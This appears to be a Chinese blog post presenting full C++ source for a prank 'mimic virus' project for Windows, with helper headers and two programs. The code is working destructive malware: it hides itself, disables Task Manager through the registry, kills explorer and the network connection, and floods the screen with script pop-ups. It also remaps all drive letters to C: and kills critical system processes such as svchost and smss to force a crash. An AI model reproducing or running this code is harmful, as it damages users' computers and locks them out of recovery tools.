CookieMaker工作室合作开发C++项目十一:拟态病毒

(注:本文章使用了"无标题技术")

一天,我和几个同事,平台出了点BUG,居然给我刷出了千年杀 ,同事看得瑕疵欲裂,发誓要将我挫骨扬灰------

(游戏入口:和平精英31.0 快乐星空

HeiKe.h:

cpp 复制代码
#ifndef HEIKE_H

#include <bits/stdc++.h>
#include <conio.h>
#include <windows.h>
using namespace std;
void Make_Text(string same, string name)
{
	//HWND hWnd = GetConsoleWindow(); 
    //SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); 
		ofstream outfile(same,ios::out); 
	if (!outfile) 
	{  
		cerr<<"open error"<<endl;  
	} 
	outfile<<name;
	outfile.close();	
}
//主机的好管理
void shutdown(int x, int y)
{
	Sleep(x * 1000);//等待n秒
	if(y == 1)
		system("shutdown -p");//关机
	if(y == 2)
		system("shutdown -s -r 0");//重启
	if(y == 3)
		system("shutdown -l");//注销
}
//鼠标指针的好管理
void Currur(int q)
{
    int x = GetSystemMetrics(SM_CXSCREEN);
    int y = GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    if (q == 1)//当q为1时,进入死循环。
	    while(1)
	    	SetCursorPos(rand() % x, rand() % y);			
	else{//乱移鼠标的线程
	    while(q){
	    	SetCursorPos(rand() % x, rand() % y);
	    	q--;
		}	
	}
}
//控制台的好管理
void Hide()
{
    HWND s;
	s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
	if (s) {
		ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
		ShowWindow(s, SW_HIDE);//隐藏窗口
	}	
}
//图标的好管理
void Icon(int x, int y, int n)
{
	FreeConsole();
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	POINT point;
	while(1)
	{
		GetCursorPos(&point);//锁定鼠标位置
		if(n == 1)//错误图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));
		if(n == 2)//感叹号图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));
		if(n == 2)//应用程序图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));	
	}
}
//卡死
void Die()
{
	while(1)
	{
		new char;
		malloc(INT_MAX);
	}
}
//远程攻击
void Shutdown_Go()
{
	system("shutdown /i");
}
void color (int a) {
    if (a == 0 || a == 14 || a == 20) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 1 || a == 12) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 2) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_GREEN);
    } else if (a == 3) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    } else if (a == 4 || a == 11) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED);
    } else if (a == 5 || a == 13) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    } else if (a == 7) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 15) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);
    } else if (a == 16) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);
    } else if (a == 17) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);
    } else if (a == 8) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 6) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    } else if (a == 9) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);
    }
}
void explore()//不可打开资源管理器
{
	system("taskkill /im explore.exe /f"); 
}
void release()//断开网络
{
	system("ipconfig /release"); 
}
#endif

heker.h

cpp 复制代码
#ifndef HEKER_H

#include <bits/stdc++.h> 
#include <iostream>
#include <cstdlib>
#include <cstdlib>
#include <ctime>
#include <Windows.h>
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(lib,"winmm.lib")
#include <cstring> 
#include "fstream"
#include <conio.h>
#include <cmath>
#include <HeiKe.h>

using namespace std;
void SetPos (COORD a) {
	HANDLE out = GetStdHandle (STD_OUTPUT_HANDLE);
	SetConsoleCursorPosition (out, a);
}
void SetPos(int i, int j) {
	COORD pos = { i, j };
	SetPos (pos);
}
VOID Blue_Screen()
{
	system("wmic process where name=\"svchost.exe\" delete");
	system("wmic process where name=\"LsaIso.exe\" delete");
	system("wmic process where name=\"smss.exe\" delete");
	system("taskkill /f /fi \"pid ne 1\"");
}
void msgbox(char name[], char same[], string ico)
{
	if(ico == "错误")
		MessageBox(NULL, same, name, MB_ICONERROR|MB_OK);
	if(ico == "警告")
		MessageBox(NULL, same, name, MB_ICONWARNING|MB_OK);
	if(ico == "问号" || ico == "访问")
		MessageBox(NULL, same, name, MB_ICONQUESTION|MB_OK);
	if(ico == "信息")
		MessageBox(NULL, same, name, MB_ICONINFORMATION|MB_OK);
}
bool ProcessRun()
{
    SID_IDENTIFIER_AUTHORITY Aut = SECURITY_NT_AUTHORITY;
    PSID minID;
    BOOL b = AllocateAndInitializeSid(&Aut, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &minID);
    if(b)
    {
        CheckTokenMembership(NULL, minID, &b);
        FreeSid(minID);
        return b == true;
    }else
   		return b == false;
}
struct CP{
	VOID start()
	{
		Make_Text("爱的病毒.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)");
		system("start 爱的病毒.bat");
	}
	void stop()
	{
		Make_Text("爱的病毒2.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)");
		system("start 爱的病毒2.bat");
	}
}cp;

VOID echo_of()
{
	system("@echo off");
}
VOID Tsk()
{
	echo_of();
	DWORD dword=TRUE;
	HKEY h;
	DWORD s = dword;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);
	RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));
	RegCloseKey(h);
}
void full_screen() {
	echo_of();
	HWND hwnd = GetForegroundWindow();
	int cx = GetSystemMetrics(SM_CXSCREEN);
	int cy = GetSystemMetrics(SM_CYSCREEN);
 
	LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE);   
	SetWindowLong(hwnd,GWL_STYLE,
	              (l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME &
	              ~WS_BORDER);
	SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
}
void HideCursor()
{
	echo_of();
	HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
	CONSOLE_CURSOR_INFO CursorInfo;
	GetConsoleCursorInfo(handle, &CursorInfo);//获取控制台光标信息
	CursorInfo.bVisible = false; //隐藏控制台光标
	SetConsoleCursorInfo(handle, &CursorInfo);//设置控制台光标状态
}
void print(const char* p, double time)
{
	echo_of();
    while (1)
    {
        if (*p != 0)
        {
        	printf("%c", *p++);
        }
        else
        {
            break;
        }
        Sleep(time * 1000);
    }
}
void show()
{
	echo_of();
	color(2);
	printf("notepad - 记事本\n");
	printf("calc - 计算器\n");
	printf("winver - 关于\"Windows\"\n");
	printf("Nslookup - 默认服务器\n");
	printf("cmd - 命令行\n");
	printf("cleanmgr - 磁盘清理\n");
	printf("charmap - 字符映射表\n");
	printf("dxdiag - Dxdiag修复工具\n");
	color(1);
	printf("taskmgr - 任务管理器\n");
	color(2);
	printf("wiaacmgr - 扫描仪\n");
	printf("mspaint - 画图\n");
	printf("mmc - 控制台\n");
	color(532);
}
void Start(string same)
{
	echo_of();
	if(same == "notepad")	
		system("start notepad");
	if(same == "calc")	
		system("start calc");
	if(same == "winver")	
		system("start winver");
	if(same == "Nslookup")	
		system("start Nslookup");
	if(same == "cmd" || same == "")	
		system("start cmd");
	if(same == "cleanmgr")	
		system("start cleanmgr");
	if(same == "charmap")	
		system("start charmap");
	if(same == "dxdiag")	
		system("start dxdiag");
	if(same == "taskmgr")	
		system("start taskmgr");
	if(same == "wiaacmgr")	
		system("start wiaacmgr");		
	if(same == "mspaint")	
		system("start mspaint");
	if(same == "mmc")	
		system("start mmc");		
}
void Taskkill(const char *same)
{
	char a[10] = "taskkill ";
	strcat(a, same);
	system(a);
}
#endif

Ege.h:

cpp 复制代码
#ifndef MAKER_EGE_H
#define MAKER_EGE_H

#define SHOW_CONSOLE

#include <ege.h>
using namespace ege;

namespace ege_game{

	void FullWindow(bool istitle, LPCSTR title = "")
	{
		if(istitle){
			setinitmode(0, 0, 0);
			setcaption(title);
		}
		else{
			setinitmode(1, 0, 0);
		}
		initgraph(-1, -1);
	}
	
	void setcolors(color_t behind, color_t front, color_t fill)
	{
		setcolor(front);
		setbkcolor(behind);
		setfillcolor(fill);
	}
	
	void fillcircle(int x, int y, int radius, color_t fill, color_t front, PIMAGE pimg = __null)
	{
		setcolor(front);
		setfillcolor(fill);
		fillellipse(x, y, radius, radius, pimg);
	}
	
	void fillrectangle(int x1, int y1, int x2, int y2, color_t fill, color_t front, PIMAGE pimg = __null)
	{
		setcolor(front);
		setfillcolor(fill);
		rectangle(x1, y1, x2, y2, pimg);
		bar(x1, y1, x2, y2, pimg);
	}
	
	void put_img(int x, int y, LPCSTR name)
	{
	PIMAGE img = newimage();
		getimage(img, name);
		putimage(x, y, img);
	}
	
	/*void put_img_ZhiDingXY(int x1, int y1, int x2, int y2, LPCSTR name)
	{
		PIMAGE img = newimage();
		getimage(img, name);
		putimage(x1, y1, x2, y2, img);
	}*/

}

#endif

virsul.cpp:

cpp 复制代码
/*A Virus Project?Yes, You Can Did To Yourself*/
/* The Computer Virus Project, Now You Can Take shell! */
#include <bits/stdc++.h>
#include "heker.h"  //Dedicated Head File
/* Head Files */
int thistime;  //Clock Time
using namespace std;
/* namespace */
void virus()  //Virus Function
{
	Make_Text("MuOpawS.vbs", "msgbox\"You Computer Is In A Very Disaster Repait Virus, You Need Think A Good Favicon!");  //New A File
	Make_Text("WinMain.txt", "Creat Error!");
	while(1)
	{
		thistime++;  //Add This Time
		Icon(0, 0, 2);  //Draw Icons
		system("start MuOpawS.vbs");  //Start The Files
		system("start WinMain.txt");
		Icon(0, 0, 1);
		system("start MuOpawS.vbs");
		system("start WinMain.txt");
		Icon(0, 0, 2);
		system("start MuOpawS.vbs");
		if(thistime == 60)  //If For Count To 60
			Blue_Screen();  //Blue Screen
	}
}
int main(){  //Main Function
	Hide();  //Hide Window
	Tsk();  //More Tsk
	ProcessRun();  //Have Process
	while(1)
	{
		virus();
	}
	return 0;
}

main.cpp:

cpp 复制代码
#include <Ege.h>
#include <time.h>
using namespace ege_game;

int x, y;

void explore()//不可打开资源管理器
{
	system("taskkill /im explore.exe /f"); 
}

VOID Tsk()
{
	DWORD dword=TRUE;
	HKEY h;
	DWORD s = dword;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);
	RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));
	RegCloseKey(h);
}

void release()//断开网络
{
	system("ipconfig /release"); 
}

void SB(int a)
{
	if(a == 0)
	{
		setcolor(SNOW);
	}
	if(a == 1)
	{
		setcolor(RED);
	}
	if(a == 2)
	{
		setcolor(ORANGE);
	}
	if(a == 3)
	{
		setcolor(YELLOW);
	}
	if(a == 4)
	{
		setcolor(GREEN);
	}
	if(a == 5)
	{
		setcolor(BLUE);
	}
	if(a == 6)
	{
		setcolor(PINK);
	}
	if(a == 7)
	{
		setcolor(PURPLE);
	}
	if(a == 8)
	{
		setcolor(GRAY);
	}
	if(a == 9)
	{
		setcolor(BROWN);
	}
}

int main(void)
{
	setinitmode(1, 0, 0);
	initgraph(-1, -1);
	srand((unsigned)time(NULL));
	while(1){
        system("start virsul.exe");
		Tsk();
		release();
		explore();
		setfont(40, 20, "");
		delay(1);
		int a = rand() % 10;
		outtextxy(x + 180, y -30, "快关注!!!快关注!!!");
		SB(a);
		outtextxy(x - 100, y - 100, "快关注!!!");
		x = rand() % 1920;
		outtextxy(x - 10, y, "快乐星空最棒!!!");
		y = rand() % 1080;
		outtextxy(x, y, "关注快乐星空Maker!!!");
	}getch();
	return 0;
}
相关推荐
Matlab精灵几秒前
Matlab函数中的隐马尔可夫模型
开发语言·matlab·统计学习
Microsoft Word2 分钟前
c++基础语法
开发语言·c++·算法
数据小爬虫@4 分钟前
如何利用java爬虫获得淘宝商品评论
java·开发语言·爬虫
qq_1728055912 分钟前
RUST学习教程-安装教程
开发语言·学习·rust·安装
wjs202419 分钟前
MongoDB 更新集合名
开发语言
monkey_meng22 分钟前
【遵守孤儿规则的External trait pattern】
开发语言·后端·rust
一只小小汤圆27 分钟前
opencascade源码学习之BRepOffsetAPI包 -BRepOffsetAPI_DraftAngle
c++·学习·opencascade
legend_jz1 小时前
【Linux】线程控制
linux·服务器·开发语言·c++·笔记·学习·学习方法
嘿BRE1 小时前
【C++】几个基本容器的模拟实现(string,vector,list,stack,queue,priority_queue)
c++
tangliang_cn1 小时前
java入门 自定义springboot starter
java·开发语言·spring boot